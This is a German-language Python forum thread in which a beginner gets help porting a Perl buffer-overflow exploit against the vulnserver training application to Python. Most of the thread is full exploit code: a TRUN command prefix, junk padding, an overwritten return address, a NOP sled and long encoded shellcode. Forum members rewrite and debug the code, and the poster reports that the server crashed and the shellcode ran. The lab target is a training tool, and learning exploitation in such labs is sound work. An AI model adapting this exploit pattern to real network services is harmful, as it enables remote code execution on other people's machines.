Seite 1 von 2
Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 16:30
von patzen
Hallo Leute,
Ich bin ziemlich neu in Python und ich habe auch schon gegoogled aber nichts vernünftiges gefunden.
Ich möchte ein Perl script nach python umwandeln.Also die funktion des perlscripts möchte ich in python schreiben.
Das script ist zum fuzzen gedacht.Dabei geht es darum eine verwundbare Applikation zum Absturz zu bringen und herauszufinden an welcher Stelle man eigenen code ausführen kann.Aber ich denke das wisst Ihr alle selbst.
Die App heisst vulnserver und ist extra dafür gemacht fuzzing zu trainieren.
Ich habe dann ein perlscript geschrieben, das den server crashen lässt und dann die per Windows CMD die calc.exe aufruft.
Aber ich möchte das script nach python schreiben mit den selben funktionen.
Hier ist erstmal der perl code:
Code: Alles auswählen
#!/usr/bin/perl
use IO::Socket;
$header = "TRUN /.:/";
$junk = "\x41" x 2003;
$eip = pack('V', 0x625011af);
$nop = "\x90" x 20;
$shellcode = "\x89\xe5\xd9\xcf\xd9\x75\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x4d\x59\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49\x5a" .
"\x45\x56\x51\x58\x52\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c" .
"\x4b\x56\x32\x54\x4c\x4c\x4b\x51\x42\x45\x44\x4c\x4b\x43" .
"\x42\x51\x38\x54\x4f\x4e\x57\x50\x4a\x56\x46\x50\x31\x4b" .
"\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54" .
"\x42\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x58" .
"\x47\x5a\x42\x4c\x30\x56\x32\x56\x37\x4c\x4b\x56\x32\x54" .
"\x50\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c\x4b\x51" .
"\x50\x52\x58\x4c\x45\x4f\x30\x43\x44\x51\x5a\x43\x31\x58" .
"\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x51" .
"\x30\x45\x51\x49\x43\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47" .
"\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31\x4b\x4f\x50\x31\x49" .
"\x50\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x4f\x37\x56" .
"\x58\x4d\x30\x54\x35\x4c\x34\x54\x43\x43\x4d\x4c\x38\x47" .
"\x4b\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x56" .
"\x38\x56\x44\x45\x51\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50" .
"\x4b\x4c\x4b\x51\x48\x45\x4c\x45\x51\x58\x53\x4c\x4b\x43" .
"\x34\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x50\x44\x56\x44\x47" .
"\x54\x51\x4b\x51\x4b\x45\x31\x56\x39\x51\x4a\x56\x31\x4b" .
"\x4f\x4b\x50\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a" .
"\x4b\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e" .
"\x59\x45\x50\x43\x30\x45\x50\x50\x50\x45\x38\x56\x51\x4c" .
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
);
$socket->recv($serverdata, 1024);
print $serverdata;
$socket->send($header.$junk.$eip.$nop.$shellcode);
Ich habe dann nach networkprogrammierung in python gegoogled und dann versucht das ganze in python zu schreiben.Aber lacht bitte nich
Hier der Python code:
Code: Alles auswählen
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
header = ('TRUN /.:/')
junk = ('"\x41" x 2003')
eip = ('"V", 0x625011af')
nop = ('"\x90" x 20')
shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43
\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58
\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42
\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30
\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38
\x4d\x59\x45\x50\x45\x50\x43\x30\x45\x30\x4c\x49\x4d\x35
\x56\x51\x49\x42\x45\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b
\x56\x32\x54\x4c\x4c\x4b\x56\x32\x45\x44\x4c\x4b\x52\x52
\x51\x38\x54\x4f\x58\x37\x51\x5a\x51\x36\x56\x51\x4b\x4f
\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54\x42
\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37
\x5a\x42\x5a\x50\x56\x32\x56\x37\x4c\x4b\x50\x52\x52\x30
\x4c\x4b\x47\x32\x47\x4c\x43\x31\x58\x50\x4c\x4b\x51\x50
\x52\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x4e\x30
\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x51\x48\x51\x30
\x43\x31\x4e\x33\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x47\x44
\x4c\x4b\x43\x31\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f\x30
\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x50\x38
\x4b\x50\x52\x55\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b
\x43\x4d\x56\x44\x54\x35\x4b\x52\x56\x38\x4c\x4b\x51\x48
\x56\x44\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b
\x4c\x4b\x50\x58\x45\x4c\x45\x51\x4e\x33\x4c\x4b\x43\x34
\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x47\x34\x51\x34\x51\x34
\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f
\x4d\x30\x56\x38\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b
sock.sendto(header, junk, eip, nop, shellcode('192.168.2.101', 9999))
sock.close()
Beim ausführen habe ich folgende Fehlermeldung bekommen:
Code: Alles auswählen
root@bt:~# python exploit.py
File "exploit.py", line 11
shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43
^
SyntaxError: EOL while scanning string literal
Ich habe mir schon gedacht ,das ich das nicht eins zu eins übernehmen kann weil der python interpreter nicht mit den ganzen / nichts anfangen kann.Aber wie könnte ich das hinbekommen?
Ich hoffe Ihr könnt mir helfen
Gruß
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 16:34
von jens
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 16:47
von patzen
Danke für die schnelle Antwort
Also muss ich quasi alle / entfernen und am Anfang jeder Zeile ein " setzen und aschließend das '.Aber das ist ja binärcode der von der Anwendung ausgeführt werden soll.Muss ich da nicht noch irgendwas davor setzen? Das python es als binärcode behandelt?
Danke nochmal für die super schnelle Antwort
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 17:41
von lunar
@patzen: Dir mangelt es an absolutem Grundwissen, und wir sind sicherlich nicht dafür da, Dir dann die
Dokumentation vorzulesen…
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 17:42
von patzen
Hallo nochmal
Ich habe jetzt mal alle / rausgenommen (per hand

) und es sieht auf jeden Fall schonmal besser aus und wird auch jetzt grün hinterlegt wie der Rest des blocks.
Code: Alles auswählen
#!/usr/bin/python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while 1:
header = ('TRUN /.:/')
junk = ('"\x41" x 2003')
eip = ('"V", 0x625011af')
nop = ('"\x90" x 20')
shellcode = ('"x89xe0xdaxcbxd9x70xf4x59x49x49x49x49x49x43"
"x43x43x43x43x43x51x5ax56x54x58x33x30x56x58"
"x34x41x50x30x41x33x48x48x30x41x30x30x41x42"
"x41x41x42x54x41x41x51x32x41x42x32x42x42x30"
"x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4dx38"
"x4dx59x45x50x45x50x43x30x45x30x4cx49x4dx35"
"x56x51x49x42x45x34x4cx4bx50x52x50x30x4cx4b"
"x56x32x54x4cx4cx4bx56x32x45x44x4cx4bx52x52"
"x51x38x54x4fx58x37x51x5ax51x36x56x51x4bx4f"
"x56x51x49x50x4ex4cx47x4cx45x31x43x4cx54x42"
"x56x4cx47x50x49x51x58x4fx54x4dx45x51x4fx37"
"x5ax42x5ax50x56x32x56x37x4cx4bx50x52x52x30"
"x4cx4bx47x32x47x4cx43x31x58x50x4cx4bx51x50"
"x52x58x4bx35x4fx30x43x44x51x5ax45x51x4ex30"
"x56x30x4cx4bx50x48x52x38x4cx4bx51x48x51x30"
"x43x31x4ex33x4bx53x47x4cx47x39x4cx4bx47x44"
"x4cx4bx43x31x4ex36x56x51x4bx4fx56x51x4fx30"
"x4ex4cx49x51x58x4fx54x4dx43x31x49x57x50x38"
"x4bx50x52x55x4cx34x43x33x43x4dx4cx38x47x4b"
"x43x4dx56x44x54x35x4bx52x56x38x4cx4bx51x48"
"x56x44x45x51x49x43x45x36x4cx4bx54x4cx50x4b"
"x4cx4bx50x58x45x4cx45x51x4ex33x4cx4bx43x34"
"x4cx4bx45x51x4ex30x4dx59x47x34x51x34x51x34"
"x51x4bx51x4bx43x51x56x39x51x4ax56x31x4bx4f"
"x4dx30x56x38x51x4fx50x5ax4cx4bx52x32x5ax4b"
"x52x4fx4dx57x4bx4fx58x55x4fx4bx4bx4ex54x4e"
"x47x42x4bx5ax45x38x49x36x5ax35x4fx4dx4dx4d"
"x4bx4fx58x55x47x4cx43x36x43x4cx54x4ax4bx30"
"x4bx4bx4bx50x54x35x45x55x4fx4bx47x37x54x53"
"x52x52x52x4fx52x4ax45x50x50x53x4bx4fx4ex35"
"x43x53x43x51x52x4cx45x33x45x50x41x41"')
sock.sendto(header, junk, eip, nop, shellcode('192.168.2.101', 9999))
sock.close()
In nano ist auch alles bündig also korrekt eingerückt.Aber jetzt bekommen ich folgenden Fehler nach starten des scripts:
Code: Alles auswählen
root@bt:~# python exploit.py
File "exploit.py", line 11
shellcode = ('"x89xe0xdaxcbxd9x70xf4x59x49x49x49x49x49x43"
^
SyntaxError: EOL while scanning string literal
Es sind nur die Gänsefüßchen " in grün unterlegt nicht aber die beiden Hochkommata am Anfang und am Ende.
Kann es vielleicht daran liegen? Und wie kann ich das beheben?
Grüße
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 18:11
von patzen
lunar hat geschrieben:@patzen: Dir mangelt es an absolutem Grundwissen, und wir sind sicherlich nicht dafür da, Dir dann die
Dokumentation vorzulesen…
Ja ich bin ziemlich neu in Python aber ich dachte halt man könne es so einfach übernehmen.Die dokumentation werde ich mir durchlesen und ich habe auch schon zwei Bücher bestellt zum Thema Python und byteofpython.pdf gelesen.
Übrigens habe ich gerade herausgefunden, das der shellcode ja immer noch in perl formatiert war und dass encoder Programm noch gar keinen python relevanten code ausgibt :K
Ich werde sicherlich noch mehrere Fehler gemacht haben ausserdem shellcode und ich sollte mich ganz von Anfang an Python auseinander setzen.Das Problem ist halt das ich besten by doing lerne dazu kommt noch extreme Ungeduld
Egal ich werde mich da reinknien und hoffentlich sieht man sich später nochmal.Mit besseren Ergebnissen:)
Ich wünsche euch allen einen schönes Wochenende
Gruß
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Freitag 14. Oktober 2011, 21:24
von Dav1d
Ausnahmsweise:
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.2.101', 9999))
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('L<', 0x625011af)
nop = '\x90*20
shellcode = ('\x89\xe0\xda\xcb\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
'\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38'
'\x4d\x59\x45\x50\x45\x50\x43\x30\x45\x30\x4c\x49\x4d\x35'
'\x56\x51\x49\x42\x45\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
'\x56\x32\x54\x4c\x4c\x4b\x56\x32\x45\x44\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x58\x37\x51\x5a\x51\x36\x56\x51\x4b\x4f'
'\x56\x51\x49\x50\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x54\x42'
'\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
'\x5a\x42\x5a\x50\x56\x32\x56\x37\x4c\x4b\x50\x52\x52\x30'
'\x4c\x4b\x47\x32\x47\x4c\x43\x31\x58\x50\x4c\x4b\x51\x50'
'\x52\x58\x4b\x35\x4f\x30\x43\x44\x51\x5a\x45\x51\x4e\x30'
'\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x51\x48\x51\x30'
'\x43\x31\x4e\x33\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x47\x44'
'\x4c\x4b\x43\x31\x4e\x36\x56\x51\x4b\x4f\x56\x51\x4f\x30'
'\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x50\x38'
'\x4b\x50\x52\x55\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b'
'\x43\x4d\x56\x44\x54\x35\x4b\x52\x56\x38\x4c\x4b\x51\x48'
'\x56\x44\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x50\x58\x45\x4c\x45\x51\x4e\x33\x4c\x4b\x43\x34'
'\x4c\x4b\x45\x51\x4e\x30\x4d\x59\x47\x34\x51\x34\x51\x34'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
'\x4d\x30\x56\x38\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b')
sock.send(header+junk+eip+nop+shellcode)
sock.close()
Aber wie lunar schon sagte, Grundwissen ist das A und O, welches zu _erst_ erlernt werden sollte und welches auch benötigt wird um das zu verstehen, was du mit diesem Code eigentlich machst.
Re: Perl nach Python portieren problem (send data script)
Verfasst: Samstag 15. Oktober 2011, 16:26
von patzen
Hey cool danke Dav1d ,
Ja, eines der Bücher ist heute schon gekommen und ich bin schon fleissig am lernen
Python ist echt ne schöne Sache wenn mans kann.
Danke nochmal für den Code.Supercool
Ich wünsche allen ein schönes Wochenende
Gruß
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Samstag 15. Oktober 2011, 16:46
von Dav1d
Kein Problem, btw. bei dem struct.pack Argument ('V' in perl) bin ich mir nicht ganz sicher, also wenns nicht geht, vllt erstmal danach suchen

Re: Perl nach Python portieren problem (send data script)
Verfasst: Sonntag 16. Oktober 2011, 19:21
von patzen
Hallo Dav1d,
bisher konnte ich nocht prüfen ob das mit dem ('V') bzw. ('L<') funktioniert weil Python beim ausführen einen Syntax Error bezüglich der
"sock.send" line ausgibt.
Ansonsten hat er nichts zu beanstanden.
Aber sag bitte nichts,das möchte ich alleine herausfinden.Geht ja nicht dass du die ganze Arbeit machst
Ich sage Dir aber dann bescheid ob es geklappt hat mit dem pack Argument
Have an epic evening
Patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Sonntag 16. Oktober 2011, 19:50
von Dav1d
Oh, ja beim nop-Block fehlt das Stringende
Re: Perl nach Python portieren problem (send data script)
Verfasst: Montag 17. Oktober 2011, 07:02
von Hyperion
Strings würde ich mit `"".join` zusammensetzen:
Re: Perl nach Python portieren problem (send data script)
Verfasst: Montag 17. Oktober 2011, 09:16
von BlackJack
Beim Ergebnis von `struct.pack()` sollte man prüfen ob das Ergebnis tatsächlich 4 Bytes lang ist. Wenn auf dem System ein ``unsigned long`` eine andere Länge hat, stimmt das an der Stelle sonst nicht mehr mit dem Perl-Code überein.
Re: Perl nach Python portieren problem (send data script)
Verfasst: Montag 17. Oktober 2011, 15:16
von patzen
Hallo Leute,
ich hab's endlich hinbekommen mit Hilfe von Dav1d und ne menge google'n
Also die main fucntion ist nicht zugewiesen sagte man mir und ich brauche sie bloß wegzulassen.Dann gings aber los mit dem struct argument wie Dav1d schon befürchtete.
Hier ist der code:
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.2.105', 9999))
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
'\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
'\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
'\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
'\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
'\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
'\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
'\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
'\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
'\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
'\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
'\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
'\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
'\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
'\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
'\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
'\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
'\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
'\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
'\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
'\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
'\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
'\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
'\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')
sock.send(header+junk+eip+nop+shellcode)
sock.close()
Hyperion hat geschrieben:Strings würde ich mit `"".join` zusammensetzen:
Danke für deine Antwort ich probiere das alles mal aus.Mitlerweile schlafe ich kaum noch
BlackJack hat geschrieben:Beim Ergebnis von `struct.pack()` sollte man prüfen ob das Ergebnis tatsächlich 4 Bytes lang ist. Wenn auf dem System ein ``unsigned long`` eine andere Länge hat, stimmt das an der Stelle sonst nicht mehr mit dem Perl-Code überein.
Danke auch für deine Antwort.Jetzt weiss ich das python das (<) vor dem Argument haben muss und perl immer dahinter.Der Server ist jetzt ordnungsgemäß gecrashed und der shellcode wurde auch ausgeführt
Ich habe mir jetzt ne software geholt (phase6) inder ich alles einegeben kann und jeden Tag abgefragt werde.Ist eigentlich für Vokabeln aber das ist es ja quasi.
Also danke nochmal an alle für eure Hilfe und eine schöne Woche wünsche ich Euch
Gruß
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Montag 17. Oktober 2011, 17:22
von Dav1d
Kein problem, allerdings solltest du meine `main` funktion beibehalten und sie einfach "ausführen", der Code könnte dann so aussehen (basierend auf deinem):
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
def send(adress, data)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(adress)
sock.send(data)
sock.close()
def main():
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
'\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
'\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
'\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
'\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
'\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
'\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
'\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
'\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
'\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
'\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
'\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
'\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
'\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
'\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
'\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
'\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
'\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
'\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
'\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
'\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
'\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
'\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
'\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')
send(('192.168.2.105', 9999), ''.join([header, junk, eip, nop, shellcode))
if __name__ == '__main__':
main()
Re: Perl nach Python portieren problem (send data script)
Verfasst: Dienstag 18. Oktober 2011, 12:31
von patzen
Hi Dav1d
Ich habe dein script jetzt mal ausgeführt aber leider funktioniert es nocht nicht
Zuerst hat python mir einen Fehler in: def send(address, data) gemeldet aber da hast du bloß einen Doppelpunkt vergessen.
Zumindest hat er es nacher nicht mehr angezeigt.
Aber dann meinte Python:
Code: Alles auswählen
root@bt:~# nano exploit.dav1d.py
root@bt:~# python exploit.dav1d.py
File "exploit.dav1d.py", line 57
if __name__ == '__main__':
^
SyntaxError: invalid syntax
Also wieder was mit Doppelpunkt aber ich weiss genau, das der da hingehört.
Ich habe mal genau geguckt aber keine Fehler finden können (ich würde ihn glaube ich auch noch nicht wahrnehmen)
Du hast Recht, ich würde auch lieber mit funktionen arbeiten um es besser verstehen zu können und meine scripts immer mehr auszuweiten.
Du kannst ja mal gucken woran es liegen könnte.Ich werde mich auch nochmal versuchen schlau zu machen.
Habe das script auch schon an Dave "Rel1k" Kennedy geschickt.Ein ziemlicher Python Ninja nur leider bekommt man da selten ne Antwort.Hat wohl zu viel zu tun
Vielen Dank für das script und ich werde mal sehen ob ich den Fehler finde.Du kannst mir ja einen Hinweis geben wenn du ihn gefunden hast.Der lernens wegen:)
Ich wünsche dir einen schönen Tag
Liebe Grüße
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Dienstag 18. Oktober 2011, 12:49
von BlackJack
@patzen: Der Compiler zeigt nicht auf die Stelle wo etwas nicht stimmt, sondern auf die Stelle wo er bemerkt hat, dass etwas nicht stimmt. Das Problem liegt also irgendwo vor dieser Stelle und der Parser verarbeitet etwas wo ihm an der Stelle mit dem ``:`` auffällt, dass da keiner kommen dürfte. Dabei ist der Doppelpunkt selbst an der Stelle schon richtig so, wenn denn davor die Syntax stimmen würde. Kleiner Tipp: Es liegt an einer fehlenden Klammer. Art und Position der Klammer kannst Du ja mal selber suchen.

Re: Perl nach Python portieren problem (send data script)
Verfasst: Dienstag 18. Oktober 2011, 13:27
von Dav1d
uups, das tut mir leid, es sind sogar 2 Fehler drin
Einmal fehlt ein : und einmal ne Klammer
Re: Perl nach Python portieren problem (send data script)
Verfasst: Mittwoch 19. Oktober 2011, 13:58
von patzen
BlackJack hat geschrieben:@patzen: Der Compiler zeigt nicht auf die Stelle wo etwas nicht stimmt, sondern auf die Stelle wo er bemerkt hat, dass etwas nicht stimmt. Das Problem liegt also irgendwo vor dieser Stelle und der Parser verarbeitet etwas wo ihm an der Stelle mit dem ``:`` auffällt, dass da keiner kommen dürfte. Dabei ist der Doppelpunkt selbst an der Stelle schon richtig so, wenn denn davor die Syntax stimmen würde. Kleiner Tipp: Es liegt an einer fehlenden Klammer. Art und Position der Klammer kannst Du ja mal selber suchen.

Danke für den Tip ich glaube ich hab's gefunden.
In der vorletzten line:
Bei send((192.168.2.105)) fehlte vorne eine Klammer.Dann ist mir noch aufgefallen, dass in der gleichen line bei join ((header, junk, eip, nop, shellcode)) die zweite Klammer am vorne eine eckige ist und hinten eine runde.Ich habe dann versucht jeweils ein paar eckige und dann ein paar runde (so wie beim send Argument) zu setzen aber bekomme jetzt einen neuen Fehler.
Google sagt mir dazu , dass ein Argument fehlt
Dav1d hat geschrieben:uups, das tut mir leid, es sind sogar 2 Fehler drin
Einmal fehlt ein : und einmal ne Klammer
Kein Problem Dav1d

.Umso lehrreicher ist es am Schluss wenn alles klappt.
Ich habe die Klammern jetzt mal geändert und das Script sieht jetzt wie folgt aus.Leider funktioniert es immer noch nicht
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
def send(address, data):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)
sock.send(data)
sock.close()
def main():
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
'\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
